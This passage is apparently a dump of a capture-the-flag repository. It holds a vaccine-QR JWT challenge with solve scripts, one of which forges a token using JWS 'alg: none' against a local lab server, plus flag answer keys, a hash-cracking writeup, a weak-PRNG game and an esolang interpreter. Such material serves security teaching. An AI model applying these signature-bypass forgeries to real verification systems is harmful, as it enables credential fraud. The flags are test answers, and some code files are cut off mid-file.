13 | Given the scale of the repo, challenges were split off into `./challenges`. The challenges should be prefaced by the previous overview and a link to the website.
14 |
15 | ## Resources
16 |
17 | - JWS RFC: https://datatracker.ietf.org/doc/html/rfc7515
18 |
19 | - VaxiCode Verif Bypass Writeup: https://blog.oki.moe/2021/08/vaxicode-verif-pas/
20 |
21 | - ECDSA Lib (JS): https://www.npmjs.com/package/elliptic
22 |
23 | - ECDSA Lib (Python): https://pypi.org/project/pycryptodome/
24 |
25 | # Setup
26 |
27 | Requirements:
28 |
29 | - `docker`
30 | - `docker-compose`
31 |
32 | Start:
33 |
34 | ```
35 | Production: docker-compose up
36 | ```
37 |
38 | (The challenge will be locally hosted at http://localhost:4200/).
39 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/1/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-Y0U_C4N_D3C0D3_SHC
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/1/README.md:
--------------------------------------------------------------------------------
1 | # VaxiNull - QR
2 |
3 | What is hidden in the QR code?
4 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/2/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-JWT_WITH_N0_4LG
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/2/README.md:
--------------------------------------------------------------------------------
1 | # VaxiNull - Alg
2 |
3 | What is the flag when you bypass with `alg`? (Search JWT/JWS `alg`s options and common vulnerabilities)
4 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/3/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-F0RG0TT3N_PUBL1C_K3Y
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/3/README.md:
--------------------------------------------------------------------------------
1 | # VaxiNull - JWKS
2 |
3 | What is the flag when you bypass with the `/.well-known/jwks.json`? (Search what the `JWK` fields do and how to sign a JWK)
4 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/4/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-T00_P3RM1551V3_155
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/challenges/4/README.md:
--------------------------------------------------------------------------------
1 | # VaxiNull - JWKS
2 |
3 | What is the flag when you bypass with the `iss`? (Search how to host a `JWKS`)
4 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: web-vaxinull
6 | ports:
7 | - "4200:4200"
8 | environment:
9 | PORT: 4200
10 | ENVIRONMENT: "production"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | entrypoint: ["npm", "start"]
16 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "vaxinull",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "ts-node ./src/express.ts",
8 | "dev": "ts-node-dev ./src/express.ts",
9 | "writeup": "ts-node ./writeups/writeup.ts",
10 | "tsci": "tsc --init"
11 | },
12 | "author": "",
13 | "license": "MIT",
14 | "devDependencies": {
15 | "@types/elliptic": "^6.4.13",
16 | "@types/express": "^4.17.13",
17 | "@types/node": "^16.7.10",
18 | "@types/qrcode": "^1.4.1",
19 | "ts-node-dev": "^1.1.8",
20 | "typescript": "^4.4.2"
21 | },
22 | "dependencies": {
23 | "axios": "^0.21.1",
24 | "ejs": "^3.1.6",
25 | "elliptic": "^6.5.4",
26 | "express": "^4.17.1",
27 | "hash.js": "^1.1.7",
28 | "jimp": "^0.16.1",
29 | "jsqr": "^1.4.0",
30 | "qrcode": "^1.4.4",
31 | "qs": "^6.10.1"
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/partials/bootstrap.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/partials/head.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/partials/nav.ejs:
--------------------------------------------------------------------------------
1 |
2 |
18 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/crypto/vaxinull/public/favicon.ico
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/src/utils.ts:
--------------------------------------------------------------------------------
1 | import zlib from 'zlib';
2 |
3 | export class Base64 {
4 | public static isBase64(data: string): boolean {
5 | return /[A-Za-z\-_]*/g.test(data);
6 | }
7 |
8 | public static toBase64Url(b64: string): string {
9 | return b64.replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, "");
10 | }
11 |
12 | public static fromBase64Url(b64: string): string {
13 | b64 = b64.replace(/-/g, "+").replace(/_/g, "/");
14 |
15 | let missingPadding = b64.length % 4;
16 |
17 | return b64 + new Array(4 - missingPadding).fill("=").join("");
18 | }
19 |
20 | public static encode(data: string | Buffer): string {
21 | if(typeof data === 'string') data = Buffer.from(data);
22 |
23 | return Base64.toBase64Url(data.toString("base64"));
24 | }
25 |
26 | public static decode(data: string): string {
27 | if(/[-_]/.test(data)) data = Base64.fromBase64Url(data);
28 |
29 | return Buffer.from(data, "base64").toString("utf8");
30 | }
31 | }
32 |
33 | export class Gzip {
34 | public static compress(data: string): string {
35 | return Base64.toBase64Url(zlib.deflateRawSync(Buffer.from(data)).toString("base64"));
36 | }
37 |
38 | public static decompress(data: string): string {
39 | return zlib.inflateRawSync(Buffer.from(data, "base64")).toString("utf8");
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/views/qr.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | VaxiNull | QR
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
12 |
13 |
14 | <%- include('../partials/nav.ejs') %>
15 |
16 | We provide a simple and lightweight QR code for validation. It is built off of the SHC standard (which uses JWT and JWS). We are still working on an app to read/validate the QR code.
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/views/shc.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | VaxiNull | <%= title %>
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
16 |
17 |
18 | <%- include('../partials/nav.ejs') %>
19 |
20 | <%- prompt %>
21 |
22 |
27 |
28 | <% if(locals.msg && locals.type) { %>
29 | <% if(type === 'success') { %>
30 |
31 |
Certified by VaxiNull
32 |
33 |
<%= msg %>
34 |
35 | <% } else if(type === 'error') { %>
36 |
37 |
Error
38 |
39 |
<%= msg %>
40 |
41 | <% }} %>
42 |
43 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/writeups/1/index.ts:
--------------------------------------------------------------------------------
1 | import axios from 'axios';
2 | import jsQR from 'jsqr';
3 | import Jimp from 'jimp';
4 | import { Solution } from "../utils";
5 | import { SHC } from '../../src/shc';
6 |
7 | const URL = "http://localhost:4200/samples/1";
8 |
9 | export class Solve extends Solution {
10 | public async solve() {
11 | let data = (await axios.get(URL)).data;
12 |
13 | let qrcodeRegex = /alt="qrcode" src="(.*?)"/.exec(data);
14 |
15 | if(!qrcodeRegex) throw "Unable to find QRCode.";
16 |
17 | let qrcodeUri = qrcodeRegex[1];
18 | let qrcodeImg = await Jimp.read(Buffer.from(qrcodeUri.split(',')[1], 'base64'));
19 | let qrcodeRaw = new Uint8ClampedArray(qrcodeImg.bitmap.data.buffer);
20 |
21 | let qrcode = jsQR(qrcodeRaw, qrcodeImg.bitmap.width, qrcodeImg.bitmap.height);
22 |
23 | if(!qrcode) throw "Unable to decode QRCode.";
24 |
25 | let shc = SHC.fromString(qrcode.data);
26 |
27 | console.log(shc.body.name.given);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/writeups/2/index.ts:
--------------------------------------------------------------------------------
1 | import axios from 'axios';
2 | import qs from 'qs';
3 | import { Solution } from "../utils";
4 | import { SHC } from '../../src/shc';
5 |
6 | const URL = "http://localhost:4200/samples/2";
7 |
8 | export class Solve extends Solution {
9 | public async solve() {
10 | let shc = new SHC(
11 | {
12 | "alg": "none",
13 | "kid": "null",
14 | "zip": "DEF"
15 | },
16 | {
17 | "iss": URL,
18 | "name": {
19 | "given": "John",
20 | "family": "Doe"
21 | },
22 | "vaccinated": true
23 | }
24 | );
25 |
26 | let data = (await axios.post(URL, qs.stringify({
27 | shc: shc.toString()
28 | }))).data;
29 |
30 | let regex = /(FLAG-.*?);
3 | }
4 |
--------------------------------------------------------------------------------
/challenges/crypto/vaxinull/writeups/writeup.ts:
--------------------------------------------------------------------------------
1 | /**
2 | * Wrapper for writeup ts.
3 | */
4 |
5 | import { Solution } from "./utils";
6 |
7 | const SOLUTIONS: { [key: string]: Solution } = {
8 | '1': new (require('./1/index') as any).Solve(),
9 | '2': new (require('./2/index') as any).Solve(),
10 | '3': new (require('./3/index') as any).Solve(),
11 | '4': new (require('./4/index') as any).Solve()
12 | }
13 |
14 | const TARGET_WRITEUP = process.argv[2];
15 |
16 | if(!(TARGET_WRITEUP in SOLUTIONS)) throw `Unknown writeup "${TARGET_WRITEUP}".`;
17 |
18 | let solution = SOLUTIONS[TARGET_WRITEUP];
19 |
20 | solution.solve();
21 |
--------------------------------------------------------------------------------
/challenges/desjardins/FAT32 Forensics/solve.py:
--------------------------------------------------------------------------------
1 | import os
2 | from datetime import datetime
3 |
4 | # Pour chaque fichier dans le dossier "flags"
5 | for i, file in enumerate(os.listdir('C:/Users/Administrator/Desktop/flags')):
6 | # Récupérer les métadonnées du fichier
7 | stats = os.stat(f"C:/Users/Administrator/Desktop/flags/{file}")
8 |
9 | # On print le nom du fichier et la date de sa dernière modification.
10 | print(file)
11 | print(f"Modification: {datetime.fromtimestamp(stats.st_mtime)}")
12 | print()
13 |
--------------------------------------------------------------------------------
/challenges/forensic/document/rapport-de-vulnérabilité.odt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/forensic/document/rapport-de-vulnérabilité.odt
--------------------------------------------------------------------------------
/challenges/forensic/openme/.gitignore:
--------------------------------------------------------------------------------
1 | /openme
--------------------------------------------------------------------------------
/challenges/forensic/openme/README.md:
--------------------------------------------------------------------------------
1 | # Partition russian doll
2 | > Forensic
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 | Can you open this file? Somebody told me that there was a secret in it, but I can't acces it..
7 | - the file openme is given
8 |
9 | ## Resources
10 | - https://linux.die.net/man/8/mount
11 | - https://linux.die.net/man/8/losetup
12 | - https://linux.die.net/man/8/cryptsetup
13 | - https://linux.die.net/man/8/pvscan
14 |
15 | ## Setup
16 |
17 | ### Requirements
18 | - cryptsetup
19 | - lvm2
20 |
21 | ### How to run
22 | - Execute the command `./build.sh`
--------------------------------------------------------------------------------
/challenges/misc/discord/README.md:
--------------------------------------------------------------------------------
1 | # Discord
2 |
3 | > Misc
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Pour obtenir ce flag, vous devez résoudre l'énigme qui se trouve dans le canal #flag du serveur Discord du UnitedCTF.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - Accès à Discord
13 |
14 | # Writeup
15 |
16 | À 18h30, ce message a été posté dans #flag au lancement du CTF:
17 |
18 | ```
19 | "bb315cb69bc74ace7a8155cd63a50ee6" + "c94456d225d310aaa19aa25931277a6463aad602" + "3db1a73a245aa55c61204c56c8d99f6d" + "a8db1d82db78ed452ba0882fb9554fc9"
20 | ```
21 |
22 | Il s'agit d'un défi sur les hash. On peut déduire que ce sont des hash à cause que les strings ont la même longueur que ceux générés par des fonctions de hachage connues. Ils ont la longueur de hash MD5 et un seul a la longueur d'un hash SHA1. On peut trouver certains sur Google, mais il y en a au moins un qui n'est pas trouvable par Google. Il faut alors utiliser un outil spécialisé. Le site le plus connu est CrackStation. Il contient des bases de données de strings d'origine pour plus d'une dizaine de millions de hash. On peut tous les mettre dedans pour obtenir:
23 |
24 | 
25 |
26 | Il ne reste plus qu'à assembler le flag:
27 |
28 | Cela donne: flag-discordunitedctf
29 |
30 |
--------------------------------------------------------------------------------
/challenges/programming/battleship/.dockerignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
--------------------------------------------------------------------------------
/challenges/programming/battleship/.env:
--------------------------------------------------------------------------------
1 | VERSION=0.0.2
2 | PORT=5000
3 |
4 | CHANCE_FOR_WAVE=0.15
5 | TIMEOUT=60000
6 | FLAG_1=FLAG-MMM_THERE_HAS_TO_BE_A_TRICK_TO_IT
7 | FLAG_5=FLAG-ALL_YOUR_SHIPS_ARE_BELONG_TO_US
--------------------------------------------------------------------------------
/challenges/programming/battleship/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
--------------------------------------------------------------------------------
/challenges/programming/battleship/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:fermium-alpine AS build
2 |
3 | RUN mkdir /app
4 | WORKDIR /app
5 |
6 | COPY ./*.json /app/
7 | RUN npm install
8 |
9 | COPY ./src /app/src
10 | RUN npm run build
11 |
12 | FROM node:fermium-alpine
13 |
14 | RUN mkdir /app
15 | WORKDIR /app
16 |
17 | ENV NODE_ENV production
18 |
19 | COPY --from=build /app/package* /app/
20 | COPY --from=build /app/node_modules /app/node_modules
21 |
22 | COPY --from=build /app/out /app
23 |
24 | RUN npm prune
25 |
26 | HEALTHCHECK --interval=60s --timeout=10s --start-period=10s --retries=3 \
27 | CMD [ "npm", "run", "healthcheck:docker" ]
28 |
29 | EXPOSE 5000
30 | USER node
31 | CMD [ "npm", "run", "start:docker" ]
--------------------------------------------------------------------------------
/challenges/programming/battleship/README.md:
--------------------------------------------------------------------------------
1 | # Pseudo random prediction
2 | > Programming
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 |
7 | Can you beat this game within the timeframe? I managed to get the source code, maybe it can help you?
8 | - the whole source code is given
9 |
10 | ## Resources
11 |
12 | - https://en.wikipedia.org/wiki/Wichmann%E2%80%93Hill
13 | - https://www.youtube.com/watch?v=1hs451PfFzQ
14 |
15 | ## Setup
16 |
17 | ### Requirements
18 | - docker
19 | - docker-compose
20 |
21 | ### How to run
22 | - Execute the command `docker-compose up`
--------------------------------------------------------------------------------
/challenges/programming/battleship/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.0"
2 |
3 | services:
4 | app:
5 | build:
6 | context: "."
7 | restart: "unless-stopped"
8 | environment:
9 | - NODE_ENV=production
10 | - VERSION=0.0.2
11 | - PORT=5000
12 |
13 | - CHANCE_FOR_WAVE=0.15
14 | - TIMEOUT=60000
15 |
16 | - FLAG_1=FLAG-MMM_THERE_HAS_TO_BE_A_TRICK_TO_IT
17 | - FLAG_5=FLAG-ALL_YOUR_SHIPS_ARE_BELONG_TO_US
18 | ports:
19 | - 5000:5000
20 |
--------------------------------------------------------------------------------
/challenges/programming/battleship/nodemon.json:
--------------------------------------------------------------------------------
1 | {
2 | "watch": ["src"],
3 | "ext": "ts,json",
4 | "ignore": ["src/**/*.spec.ts"],
5 | "exec": "ts-node ./src/index.ts"
6 | }
--------------------------------------------------------------------------------
/challenges/programming/battleship/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "battleship",
3 | "version": "1.0.0",
4 | "description": "https://www.youtube.com/watch?v=1hs451PfFzQ",
5 | "main": "out/index.js",
6 | "scripts": {
7 | "build": "tsc",
8 | "dev": "nodemon --config nodemon.json",
9 | "start": "node out/index.js",
10 | "start:docker": "node index.js",
11 | "healthcheck:docker": "node healthcheck.js || kill 1"
12 | },
13 | "keywords": [],
14 | "author": "",
15 | "license": "ISC",
16 | "devDependencies": {
17 | "@types/node": "^14.0.11",
18 | "nodemon": "^2.0.12",
19 | "ts-node": "^10.2.0",
20 | "typescript": "^4.3.5"
21 | },
22 | "dependencies": {
23 | "dotenv": "^8.2.0"
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/challenges/programming/battleship/src/healthcheck.ts:
--------------------------------------------------------------------------------
1 | import dotenv from "dotenv";
2 | dotenv.config();
3 |
4 | import net from "net";
5 |
6 | let data = Buffer.from("");
7 | const socket = net
8 | .connect({
9 | host: "127.0.0.1",
10 | port: Number(process.env.PORT || 5000),
11 | })
12 | .on("data", (b) => (data = Buffer.concat([data, b])));
13 |
14 | setTimeout(() => {
15 | try {
16 | const healthy = data.toString().slice(-2).trim() === ">" ? true : false;
17 | socket.write("healthcheck " + (healthy ? "Y" : "N"), () => {
18 | socket.destroy();
19 | process.exit(healthy ? 0 : 1);
20 | });
21 | } catch (e) {
22 | console.error(e);
23 | process.exit(1);
24 | }
25 | }, 2500);
26 |
--------------------------------------------------------------------------------
/challenges/programming/battleship/src/random.ts:
--------------------------------------------------------------------------------
1 | export class Random {
2 | private _s1: number;
3 | private _s2: number;
4 | private _s3: number;
5 |
6 | constructor(s1?: number, s2?: number, s3?: number) {
7 | this._s1 = s1 || Date.now();
8 | this._s2 = s2 || Date.now();
9 | this._s3 = s3 || Date.now();
10 | }
11 |
12 | public next(): number {
13 | this._s1 = (171 * this._s1) % 30269;
14 | this._s2 = (172 * this._s2) % 30307;
15 | this._s3 = (170 * this._s3) % 30323;
16 |
17 | return (this._s1 / 30269 + this._s2 / 30307 + this._s3 / 30323) % 1;
18 | }
19 |
20 | public peek(): number {
21 | return (
22 | (((171 * this._s1) % 30269) / 30269 +
23 | ((172 * this._s2) % 30307) / 30307 +
24 | ((170 * this._s3) % 30323) / 30323) %
25 | 1
26 | );
27 | }
28 |
29 | public nextRange(min: number, max: number) {
30 | return this.next() * (max - min) + min;
31 | }
32 |
33 | public roll(chance: number) {
34 | return this.next() < chance;
35 | }
36 |
37 | public pick(items: T[]): T {
38 | return items[~~(this.next() * items.length)];
39 | }
40 |
41 | public get s1() {
42 | return this._s1;
43 | }
44 |
45 | public get s2() {
46 | return this._s2;
47 | }
48 |
49 | public get s3() {
50 | return this._s3;
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/challenges/programming/battleship/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "module": "commonjs",
4 | "moduleResolution": "node",
5 | "pretty": true,
6 | "sourceMap": true,
7 | "target": "es6",
8 | "outDir": "./out",
9 | "sourceRoot": "./src",
10 | "esModuleInterop": true,
11 | "skipLibCheck": true,
12 | "resolveJsonModule": true
13 | },
14 | "include": ["**/*.ts"],
15 | "exclude": ["node_modules"]
16 | }
17 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/.dockerfile:
--------------------------------------------------------------------------------
1 | node_modules
2 | web/public/ctfl.js
--------------------------------------------------------------------------------
/challenges/programming/esolang/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14 AS interpreter
2 |
3 | WORKDIR /app
4 |
5 | COPY ./interpreters/js/package*.json ./
6 |
7 | RUN npm install
8 |
9 | COPY ./interpreters/js/ .
10 |
11 | RUN npm run webpack
12 |
13 | FROM node:14 AS web
14 |
15 | WORKDIR /app
16 |
17 | COPY ./web/package*.json ./
18 |
19 | RUN npm install
20 |
21 | COPY ./web/. ./
22 |
23 | COPY ./tests/. ./tests/
24 |
25 | COPY ./challenges/. ./challenges/
26 |
27 | COPY ./interpreters/js/. ./interpreter/
28 |
29 | COPY --from=interpreter /app/out/ctfl.js ./public/
30 |
31 | CMD npm start
32 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/README.md:
--------------------------------------------------------------------------------
1 | # CTFLang
2 |
3 | > Programming
4 |
5 | Author: @alexandre-lavoie
6 |
7 | ## Overview
8 |
9 | Esoteric Programming Languages (Esolangs) are programming languages that are designed to be weird, hard, and/or a joke. Often included in CTFs are `BrainFuck` and `JSFuck`. To introduce more challenge, a custom esolang `CTFLang` was created for this CTF.
10 |
11 | ## Specification
12 |
13 | A `SPECIFICATION.md` is provided to describe `CTFLang`. The interpreters were designed around this document.
14 |
15 | ## Challenges
16 |
17 | Given the scale of the repo, challenges were split off into `./challenges`. The challenges should be prefaced by the previous overview, provide the specification document, and a link to the website. Additionally, a comment needs to be added regarding the irregular flag format that is `[A-Z_]*`. The base format is provided as `./challenges/FORMAT.md`.
18 |
19 | ## Resources
20 |
21 | - Befunge: https://esolangs.org/wiki/Befunge
22 |
23 | - BrainFuck: https://esolangs.org/wiki/Brainfuck
24 |
25 | - JSFuck: https://esolangs.org/wiki/JSFuck
26 |
27 | # Setup
28 |
29 | Requirements:
30 |
31 | - `docker`
32 | - `docker-compose`
33 |
34 | Start:
35 |
36 | ```
37 | Development: docker-compose -f docker-compose.dev.yml up
38 | Production: docker-compose up
39 | ```
40 |
41 | (The challenge will be locally hosted at http://localhost:1337/).
42 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/1/FLAG:
--------------------------------------------------------------------------------
1 | 2DPROGRAMMING
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/1/README.md:
--------------------------------------------------------------------------------
1 | Here is a glimpse of what people think of CTFLang:
2 |
3 | ```
4 | @ESOFOU1234: 2. WORDS - PURE AG.ONY! NOT SURE WHY I'M M.AKING M.ORE #AGONY
5 | ```
6 |
7 | ```
8 | @FRESHLEMON: I D.ON'T RECOMMEND TO ANYONE!!! I SPENT MORE TIME CRYI.N.G. THAN PROGRAMMING #CRYING
9 | ```
10 |
11 | ```
12 | @ALEXLAVOIE: I'M NOT A P.R.O. EVEN IF WR.OTE THE LA.NGUAGE #HELP
13 | ```
14 |
15 | Hopefully, this won't discourage you. It does make for a good `flag` though!
16 |
17 | Note: Flag is not in the standard `FLAG-...` format.
18 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/2/FLAG:
--------------------------------------------------------------------------------
1 | CTF_LANG
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/2/README.md:
--------------------------------------------------------------------------------
1 | CTFLang is said to make for an unbreakable flag validator. I herd the challenge creator got inspiration from the gallery. Can you crack it?
2 |
3 | Note: The flag is the shortest input giving `T`. The flag is not in the standard `FLAG-...` format.
4 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/3/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-C0D1NG_CTFL4NG_15_3Z
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/3/README.md:
--------------------------------------------------------------------------------
1 | Time to program in CTFLang. Can you write a program that reverses a "0" terminated string from stdin?
2 |
3 | Example:
4 | ```
5 | UNITEDCTF0 -> FTCDETINU
6 | ```
7 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/challenges/FORMAT.md:
--------------------------------------------------------------------------------
1 | # CTFLang #
2 |
3 | > Programming
4 |
5 | Author: @alexandre-lavoie
6 |
7 | ## Overview
8 |
9 | Esoteric Programming Languages (Esolangs) are programming languages that are designed to be weird, hard, and/or a joke. Often included in CTFs are `BrainFuck` and `JSFuck`. To introduce more challenge, a custom esolang `CTFLang` was created for this CTF.
10 |
11 | ## Specification
12 |
13 | A `SPECIFICATION.md` is provided on this challenge to describe `CTFLang`. The interpreters were designed around this document.
14 |
15 | ## Challenge
16 |
17 | `ENTER CHALLENGE HERE`
18 |
19 | ## Flag
20 |
21 | The flag for this set of challenges follows the `[A-Z0-9_]*` format. To submit, use `CTF{FLAG_HERE}`.
22 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/docker-compose.dev.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: web-esolang
6 | ports:
7 | - "1476:1476"
8 | environment:
9 | PORT: 1476
10 | ENVIRONMENT: "development"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | entrypoint: ["npm", "run", "dev"]
16 | volumes:
17 | - ./web/src:/app/src
18 | - ./web/views:/app/views
19 | - ./web/partials:/app/partials
20 | - ./tests:/app/tests
21 | - ./challenges:/app/challenges
22 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: web-esolang
6 | ports:
7 | - "1476:1476"
8 | environment:
9 | PORT: 1476
10 | ENVIRONMENT: "production"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | entrypoint: ["npm", "start"]
16 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/js/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | out/
3 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/js/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "ctflang",
3 | "version": "1.0.0",
4 | "description": "Interpreter for CTFLang",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "ts-node ./src/node.ts",
8 | "dev": "ts-node-dev ./src/node.ts",
9 | "tsci": "tsc --init",
10 | "webpack": "webpack"
11 | },
12 | "author": "Alexandre Lavoie",
13 | "license": "MIT",
14 | "devDependencies": {
15 | "@types/argparse": "^2.0.10",
16 | "@types/node": "^16.6.1",
17 | "@types/readline-sync": "^1.4.4",
18 | "ts-loader": "^9.2.5",
19 | "ts-node-dev": "^1.1.8",
20 | "typescript": "^4.3.5",
21 | "webpack": "^5.50.0",
22 | "webpack-cli": "^4.7.2"
23 | },
24 | "dependencies": {
25 | "argparse": "^2.0.1",
26 | "readline-sync": "^1.4.10"
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/js/src/node.ts:
--------------------------------------------------------------------------------
1 | import { Interpreter } from './interpreter';
2 | import fs from 'fs';
3 | import readlineSync from 'readline-sync';
4 | import argparse from 'argparse';
5 |
6 | function getInput(): string {
7 | return readlineSync.question('Enter: ');
8 | }
9 |
10 | let parser = new argparse.ArgumentParser({description: "CTFLang Interpreter."});
11 |
12 | parser.add_argument('file', {help: "File to interpret."});
13 | parser.add_argument('--debug', {help: 'Displays interpreter memory.', action: 'store_true'});
14 | parser.add_argument('--delay', {help: 'Delay for verbose mode.', default: 10});
15 |
16 | let args = parser.parse_args();
17 |
18 | let code = fs.readFileSync(args.file).toString();
19 |
20 | let interpreter = new Interpreter(code, getInput);
21 |
22 | let loop = setInterval(() => {
23 | if(args.debug) {
24 | interpreter.visualize();
25 | }
26 |
27 | if(!interpreter.step()) {
28 | clearInterval(loop);
29 | console.log(interpreter.output);
30 | }
31 | }, (args.debug) ? args.delay : 0);
32 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/js/src/utils.ts:
--------------------------------------------------------------------------------
1 | export type TileType = string;
2 | export type PositionIndex = string;
3 |
4 | export class Position {
5 | public x: number;
6 | public y: number;
7 |
8 | constructor(x: number, y: number) {
9 | this.x = x;
10 | this.y = y;
11 | }
12 |
13 | public static from(index: PositionIndex): Position {
14 | let [x, y] = index.split(',').map(v => parseInt(v));
15 | return new Position(x, y);
16 | }
17 |
18 | public raw() {
19 | return [this.x, this.y];
20 | }
21 |
22 | public clone(): Position {
23 | return new Position(this.x, this.y);
24 | }
25 |
26 | public toString(): string {
27 | return `${this.x},${this.y}`;
28 | }
29 | }
30 |
31 | export enum Tile {
32 | EMPTY = ' ',
33 | PLAYER = '@',
34 | PRINT = '.',
35 | LEFT = '<',
36 | RIGHT = '>',
37 | UP = '^',
38 | DOWN = 'v',
39 | EQUAL = '=',
40 | POP = '!',
41 | COPY = '$',
42 | FLAG = '#',
43 | DROP = '_',
44 | SPACE = '?',
45 | ADD = '+',
46 | SUBTRACT = '-',
47 | INPUT = ','
48 | }
49 |
50 | export enum Direction {
51 | LEFT = 0,
52 | RIGHT = 1,
53 | UP = 2,
54 | DOWN = 3
55 | }
56 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/js/src/webpack.ts:
--------------------------------------------------------------------------------
1 | export { Interpreter } from './interpreter';
2 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/js/webpack.config.js:
--------------------------------------------------------------------------------
1 | const path = require('path');
2 |
3 | module.exports = {
4 | entry: './src/webpack.ts',
5 | mode: 'production',
6 | module: {
7 | rules: [
8 | {
9 | test: /\.tsx?$/,
10 | use: 'ts-loader',
11 | exclude: /node_modules/,
12 | },
13 | ],
14 | },
15 | resolve: {
16 | extensions: ['.tsx', '.ts', '.js'],
17 | },
18 | output: {
19 | library: 'CTFLang',
20 | filename: 'ctfl.js',
21 | path: path.resolve(__dirname, 'out'),
22 | },
23 | };
24 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/py/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/py/README.md:
--------------------------------------------------------------------------------
1 | # CTFLang Python
2 |
3 | A Python interpreter for CTFLang.
4 |
5 | ## Usage
6 |
7 | ```
8 | python ctfl.py
9 | ```
10 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/py/ctf/__init__.py:
--------------------------------------------------------------------------------
1 | from .interpreter import Interpreter
2 |
--------------------------------------------------------------------------------
/challenges/programming/esolang/interpreters/py/ctf/enums.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 |
3 | class Tile(Enum):
4 | EMPTY = ord(' ')
5 | PLAYER = ord('@')
6 | PRINT = ord('.')
7 | LEFT = ord('<')
8 | RIGHT = ord('>')
9 | UP = ord('^')
10 | DOWN = ord('v')
11 | EQUAL = ord('=')
12 | POP = ord('!')
13 | COPY = ord('$')
14 | FLAG = ord('#')
